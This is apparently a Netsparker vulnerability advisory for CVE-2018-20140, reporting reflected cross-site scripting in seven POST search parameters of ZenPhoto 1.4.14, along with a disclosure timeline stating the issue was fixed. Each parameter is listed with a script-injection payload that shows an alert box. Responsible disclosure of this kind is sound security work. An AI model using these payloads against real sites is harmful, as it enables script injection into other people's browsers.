Multiple Cross-site Scripting Vulnerabilities in ZenPhoto 1.4.14

Information
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Advisory by Netsparker
Name: Multiple Cross-Site Scripting Vulnerabilities in ZenPhoto 1.4.14
Affected Software: ZenPhoto
Affected Versions: 1.4.14
Homepage: http://www.zenphoto.org/
Vulnerability: Cross-Site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-20140
CVSS Score (3.0):  CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-043

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_state
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x1)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_country
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x2)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_city
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x3)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_title
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x4)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/;
Parameter Name: SEARCH_desc
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x5)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_location
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x6)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ZENPHOTO}/
Parameter Name: SEARCH_tags
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x7)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th June 2018- First Contact
13th December 2018 - Vendor Fixed
8th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
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